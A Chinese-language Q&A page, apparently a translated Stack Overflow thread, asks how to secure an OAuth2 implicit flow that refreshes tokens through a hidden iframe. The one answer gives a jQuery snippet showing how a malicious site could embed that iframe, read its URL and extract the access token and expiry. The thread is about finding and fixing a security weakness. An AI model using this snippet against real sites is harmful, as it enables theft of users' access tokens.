如何保护来自iframe的Oauth2隐式流

问题描述 投票:2回答:1

我正在使用Oauth2 implicit flow来保护单页应用程序和Rest API。

如果您不熟悉oauth2隐式流程,请快速浏览:

我们正在使用隐藏的iframe和小javascript来访问令牌并“刷新”(实际上获得新令牌,只要用户登录授权服务器)它到期时。

现在,恶意站点看起来很容易包含相同的iframe,并且只要用户登录就从哈希片段中检索访问令牌。

我看过X-Frame-Options他们无法阻止重定向,只能阻止渲染内容。但是我们的令牌位于已经到达浏览器的url片段上。

由于这是我们的“自己的”应用程序,我们跳过了用户的批准步骤,只要redirect_uri匹配并且用户登录就会自动授予访问令牌。可能这个也会牺牲我们的安全性。

这看起来像是一个不可接受的安全漏洞,有什么建议吗?

security iframe oauth oauth-2.0
1个回答
0
投票

我有同样的问题..在查看您的源并提取您发送的参数后,恶意用户可以这样做:

        var uri = addQueryString(authorizeUri, {
            'client_id': '11',
            'redirect_uri': returnUri,
            'state': nonce,
            'scope': 'bio notes',
            'response_type': 'token',
        });

        console.log(uri);
        $('body').append(`<iframe src="${uri}"/>`);

        $('iframe').css({
            'display' : 'none'
        })

        $('iframe')[0].addEventListener("load", function () {
            var uriWithToken = $('iframe')[0].contentWindow.location.href;

            token = uriWithToken.split('access_token')[1].split("=")[1];
            expires = uriWithToken.split('expires_in')[1].split("=")[1];

            console.log(uriWithToken);
            console.log("TOKEN = " + token);
            console.log("EXPIRES = " + expires);
            $('iframe').remove();
        });

非常感谢你的遗嘱......

© www.soinside.com 2019 - 2024. All rights reserved.